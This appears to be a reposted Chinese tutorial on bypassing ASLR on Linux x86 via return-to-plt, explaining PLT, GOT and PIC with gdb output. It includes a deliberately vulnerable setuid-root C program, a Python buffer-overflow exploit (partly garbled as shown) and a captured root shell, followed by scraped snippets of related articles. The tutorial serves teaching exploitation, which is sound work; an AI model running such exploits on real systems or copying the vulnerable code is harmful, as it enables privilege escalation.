Linux (x86) Exploit 开发系列教程之六(绕过ASLR - 第一部分)
转:https://bbs.pediy.com/thread-217390.htm
前提条件:
经典的基于堆栈的缓冲区溢出
虚拟机安装:Ubuntu 12.04(x86)
在以前的帖子中,我们看到了攻击者需要知道下面两样事情
堆栈地址(跳转到shellcode)
libc基地址(成功绕过NX bit)
为了利用漏洞代码。 为了阻止攻击者的行为,安全研究人员提出了一个称为“ASLR”的漏洞利用。
什么是 ASLR?
地址空间布局随机化(ASLR)是随机化的利用缓解技术:
堆栈地址
堆地址
共享库地址
一旦上述地址被随机化,特别是当共享库地址被随机化时,我们采取的绕过NX bit的方法不会生效,因为攻击者需要知道libc基地址。但这种缓解技术并不完全是万无一失的,因此在这篇文章中我们可以看到如何绕过共享库地址随机化!
我们已经知道从前一篇文章的exp.py libc函数地址计算如下:
|
1
|
libc function address = libc base address + function offset |
其中
因为随机化被关闭,所以libc基址是常量(0xb7e22000 - 对于我们的“vuln”二进制文件)。
函数偏移也是不变的(从“readelf -s libc.so.6 | grep”获得)
现在当我们打开完全随机化(使用下面的命令)
|
1
|
#echo 2 > /proc/sys/kernel/randomize_va_space |
libc基地址将被随机化。
注意:只有libc基地址是随机的,特定功能的偏移与其基地址始终保持不变!因此,如果我们可以绕过共享库基地址随机化,即使打开ASLR,也可以成功利用易受攻击的程序(使用三种技术)。
Return-to-plt (这章)
Brute force (第二部分)
GOT overwrite and GOT dereference (第三部分)
什么是return-to-plt?
在这种技术中,而不是返回到libc函数(其地址是随机的)攻击者返回到一个函数的PLT(其地址不是随机的-其地址在执行之前已知)。由于'function@PLT'不是随机的,所以攻击者不再需要预测libc的基地址,而是可以简单地返回到“function@PLT”来调用“function”。
什么是PLT,如何通过调用“function@PLT”来调用“函数”?
要了解过程链接表(PLT),先让我简要介绍一下共享库!
与静态库不同,共享库代码段在多个进程之间共享,而其数据段对于每个进程是唯一的。这有助于减少内存和磁盘空间。由于代码段在多个进程之间共享,所以应该只有read和execute权限,因此动态链接器不能重新定位代码段中存在的数据符号或函数地址(因为它没有写权限)。那么动态链接如何在运行时重新定位共享库符号而不修改其代码段?它使用PIC完成!
什么是PIC?
位置无关代码(PIC)是为了解决这个问题而开发的 - 它确保共享库代码段在多个进程之间共享,尽管在加载时执行重定位。PIC通过一级间接寻址实现这一点-共享库代码段不包含绝对虚拟地址来代替全局符号和函数引用,而是指向数据段中的特定表。该表是全局符号和函数绝对虚拟地址的占位符。动态链接器作为重定位的一部分来填充此表。因此,只有重定位数据段被修改,代码段保持不变!
动态链接器以两种不同的方式重新定位PIC中发现的全局符号和函数,如下所述:
全局偏移表(GOT):
全局偏移表包含每个全局变量的4字节条目,其中4字节条目包含全局变量的地址。当代码段中的指令引用全局变量时,而不是全局变量的绝对虚拟地址,指令指向GOT中条目。当加载共享库时,GOT条目由动态链接器重新定位。因此,PIC使用该表来重新定位具有单个间接级别的全局符号。
过程链接表(PLT): 过程链接表包含每个全局函数的存根代码。代码段中的调用指令不直接调用函数('function'),而是调用存根代码(function @ PLT)。这个存根代码在动态链接器的帮助下解析了函数地址并将其复制到GOT(GOT [n])。这次解析仅在函数('function')的第一次调用期间发生,稍后当代码段中的调用指令调用存根代码(function @PLT)时,而不是调用动态链接器来解析函数地址('function')存根代码直接从GOT(GOT [n])获取功能地址并跳转到它。因此,PIC使用这个表来重新定位具有两级间接的功能地址。
很好,你阅读了关于PIC的内容,并了解了它有助于保持共享库代码段的完整,因此它有助于共享库代码段在许多进程之间真正的共享!但是你有没有想过,为什么当它不共享任何进程时,在可执行文件的代码段需要有一个GOT 条目或PLT存根代码?它的安全保护机制。现在默认情况下,代码段只能被赋予读取和执行权限,没有写入权限(R_X)。这种安全保护机制甚至不允许动态链接器写入代码段,因此它不能重新定位代码段中发现的数据符号或函数地址。因此,为了允许动态链接器重定位,可执行文件也需要GOT 条目和PLT存根代码,就像共享库一样!
实例:
|
1
2
3
4
5
6
7
|
//eg.c//$gcc -g -o eg eg.c#include <stdio.h>int main(int argc, char* argv[]) { printf("Hello %s\n", argv[1]); return 0;} |
下面的反汇编显示,我们不会直接调用'printf',而是调用相应的PLT代码'printf@PLT'。
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
(gdb) disassemble mainDump of assembler code for function main: 0x080483e4 <+0>: push %ebp 0x080483e5 <+1>: mov %esp,%ebp 0x080483e7 <+3>: and $0xfffffff0,%esp 0x080483ea <+6>: sub $0x10,%esp 0x080483ed <+9>: mov 0xc(%ebp),%eax 0x080483f0 <+12>: add $0x4,%eax 0x080483f3 <+15>: mov (%eax),%edx 0x080483f5 <+17>: mov $0x80484e0,%eax 0x080483fa <+22>: mov %edx,0x4(%esp) 0x080483fe <+26>: mov %eax,(%esp) 0x08048401 <+29>: call 0x8048300 <printf@plt> 0x08048406 <+34>: mov $0x0,%eax 0x0804840b <+39>: leave 0x0804840c <+40>: ret End of assembler dump.(gdb) disassemble 0x8048300Dump of assembler code for function printf@plt: 0x08048300 <+0>: jmp *0x804a000 0x08048306 <+6>: push $0x0 0x0804830b <+11>: jmp 0x80482f0End of assembler dump.(gdb) |
在printf第一次调用之前,其相应的GOT条目(0x804a000)指针将返回到PLT代码(0x8048306)。因此,当第一次调用printf函数时,其对应的函数地址将在动态链接器的帮助下得到解决。
|
1
2
3
|
(gdb) x/1xw 0x804a0000x804a000 <printf@got.plt>: 0x08048306(gdb) |
现在在printf的调用之后,其相应的GOT条目包含printf函数地址(如下所示):
|
1
2
3
|
(gdb) x/1xw 0x804a0000x804a000 <printf@got.plt>: 0xb7e6e850(gdb) |
注1:如果你想知道更多的PLT和GOT,请看这个博客的文章!
注2:在另一篇文章中,我将详细介绍如何在动态链接器的帮助下动态解析libc函数地址。到目前为止,只要记住下面两个语句(printf@PLT的一部分)负责函数地址解析!
|
1
2
|
0x08048306 <+6>: push $0x0 0x0804830b <+11>: jmp 0x80482f0 |
现在有了这些知识,我们知道攻击者不需要精确的libc函数地址来调用libc函数,可以使用'function@PLT'地址(在执行之前知道)来简单地调用它。
漏洞代码:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
#include <stdio.h>#include <string.h>/* Eventhough shell() function isnt invoked directly, its needed here since 'system@PLT' and 'exit@PLT' stub code should be present in executable to successfully exploit it. */void shell() { system("/bin/sh"); exit(0);}int main(int argc, char* argv[]) { int i=0; char buf[256]; strcpy(buf,argv[1]); printf("%s\n",buf); return 0;} |
编译命令:
|
1
2
3
4
5
|
#echo 2 > /proc/sys/kernel/randomize_va_space$gcc -g -fno-stack-protector -o vuln vuln.c$sudo chown root vuln$sudo chgrp root vuln$sudo chmod +s vuln |
现在反汇编可执行文件'vuln',我们可以找到‘system@PLT’和 ‘exit@PLT’的地址。
|
1
2
3
4
5
6
7
8
9
10
11
|
(gdb) disassemble shellDump of assembler code for function shell: 0x08048474 <+0>: push %ebp 0x08048475 <+1>: mov %esp,%ebp 0x08048477 <+3>: sub $0x18,%esp 0x0804847a <+6>: movl $0x80485a0,(%esp) 0x08048481 <+13>: call 0x8048380 <system@plt> 0x08048486 <+18>: movl $0x0,(%esp) 0x0804848d <+25>: call 0x80483a0 <exit@plt>End of assembler dump.(gdb) |
使用这些地址我们可以写一个绕过ASLR(和NX bit)的漏洞利用代码!
利用代码:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
#exp.py#!/usr/bin/env pythonimport structfrom subprocess import callsystem = 0x8048380exit = 0x80483a0system_arg = 0x80485b5 #Obtained from hexdump output of executable 'vuln'#endianess convertiondef conv(num): return struct.pack("ystem + exit + system_argbuf = "A" * 272buf += conv(system)buf += conv(exit)buf += conv(system_arg)print "Calling vulnerable program"call(["./vuln", buf]) |
执行上面的exploit程序给我们root shell,如下所示:
|
1
2
3
4
5
6
7
|
$ python exp.py Calling vulnerable programAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA������# iduid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)# exit$ |
注意:为了获得这个root shell,可执行文件应包含'system@PLT'和'exit@PLT'代码。在第三部分中,我将讨论GOT覆盖和GOT解引用技术,即使在可执行文件中不存在必需的PLT存根代码,并且当ASLR被打开时,也可以帮助攻击者调用libc函数。
Linux (x86) Exploit 开发系列教程之六(绕过ASLR - 第一部分)的更多相关文章
- Linux (x86) Exploit 开发系列教程之七 绕过 ASLR -- 第二部分
(1)原理: 使用爆破技巧,来绕过共享库地址随机化.爆破:攻击者选择特定的 Libc 基址,并持续攻击程序直到成功.这个技巧是用于绕过 ASLR 的最简单的技巧. (2)漏洞代码 //vuln.c # ...
- Linux (x86) Exploit 开发系列教程之四(使用return-to-libc绕过NX bit)
(1)原理: “NX Bit”的漏洞缓解:使某些内存区域不可执行,并使可执行区域不可写.示例:使数据,堆栈和堆段不可执行,而代码段不可写. 在NX bit打开的情况下,基于堆栈的缓冲区溢出的经典方法将 ...
- Linux (x86) Exploit 开发系列教程之二(整数溢出)
(1)漏洞代码 //vuln.c #include <stdio.h> #include <string.h> #include <stdlib.h> void s ...
- Linux (x86) Exploit 开发系列教程之三(Off-By-One 漏洞 (基于栈))
off by one(栈)? 将源字符串复制到目标缓冲区可能会导致off by one 1.源字符串长度等于目标缓冲区长度. 当源字符串长度等于目标缓冲区长度时,单个NULL字节将被复制到目标缓冲区上 ...
- Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出)
(1)漏洞代码 //vuln.c #include <stdio.h> #include <string.h> int main(int argc, char* argv[]) ...
- Linux Exploit系列之六 绕过ASLR - 第一部分
绕过ASLR - 第一部分 什么是 ASLR? 地址空间布局随机化(ASLR)是随机化的利用缓解技术: 堆栈地址 堆地址 共享库地址 一旦上述地址被随机化,特别是当共享库地址被随机化时,我们采取的绕过 ...
- HTML5游戏开发系列教程7(译)
原文地址:http://www.script-tutorials.com/html5-game-development-lesson-7/ 今天我们将完成我们第一个完整的游戏--打砖块.这次教程中,将 ...
- HTML5游戏开发系列教程6(译)
原文地址:http://www.script-tutorials.com/html5-game-development-lesson-6/ 这是我们最新一篇HTML5游戏开发系列文章.我们将继续使用c ...
- HTML5游戏开发系列教程5(译)
原文地址:http://www.script-tutorials.com/html5-game-development-lesson-5/ 最终我决定准备下一篇游戏开发系列的文章,我们将继续使用can ...
随机推荐
- 前端PHP入门-023-重点日期函数之程序执行时间检测
我们有的时经常需要做程序的执行时间执行效率判断. 实现的思路如下: <?php //记录开始时间 //记录结整时 // 开始时间 减去(-) 结束时间 得到程序的运行时间 ?> 可是大家不 ...
- vue-router的新奇写法
加班中........................... 我们以前写路由是下面这样的 这导致了页面一多,我们的路由文件内容就比较多,不好看. 下面我为大家介绍一下,新的一种写法 这种写法,我们只需 ...
- JAVA多线程基础学习二:synchronized
本篇主要介绍Java多线程中的同步,也就是如何在Java语言中写出线程安全的程序,如何在Java语言中解决非线程安全的相关问题,没错就是使用synchronized. 一.如何解决线程安全问题? 一般 ...
- 【洛谷P2015】二叉苹果树
题目描述 有一棵苹果树,如果树枝有分叉,一定是分2叉(就是说没有只有1个儿子的结点) 这棵树共有N个结点(叶子点或者树枝分叉点),编号为1-N,树根编号一定是1. 我们用一根树枝两端连接的结点的编号来 ...
- 基于canvas的图片编辑合成器
在我们日常的前端开发中,经常会要给服务器上传图片,但是局限很大,图片只能是已有的,假设我想把多张图片合成一张上传就需要借助图片编辑器了,但是现在我们有了canvas合成就简单多了 首先我们看图片编辑器 ...
- notepad++突然崩溃,保存的文件没了怎么办
在C:\Users\你当前用户的用户名\AppData\Roaming\Notepad++\backup 有备份
- 巅峰极客CTF writeup[上]
经验教训 1.CTF不比实战,最好不要死磕.死磕就输了.我就是死磕在缓存文件死的.真的惭愧: 2.对于flag的位置不要太局限于web目录下,如果是命令执行直接上find / -name flag*: ...
- 基于scrapy的分布式爬虫抓取新浪微博个人信息和微博内容存入MySQL
为了学习机器学习深度学习和文本挖掘方面的知识,需要获取一定的数据,新浪微博的大量数据可以作为此次研究历程的对象 一.环境准备 python 2.7 scrapy框架的部署(可以查看上一篇博客的简 ...
- Ural Sport Programming Championship 2015
Ural Sport Programming Championship 2015 A - The First Day at School 题目描述:给出课程安排,打印一个课程表. solution 暴 ...
- Codeforces Round #453 (Div. 1)
Codeforces Round #453 (Div. 1) A. Hashing Trees 题目描述:给出一棵树的高度和每一层的节点数,问是否有两棵树都满足这个条件,若有,则输出这两棵树,否则输出 ...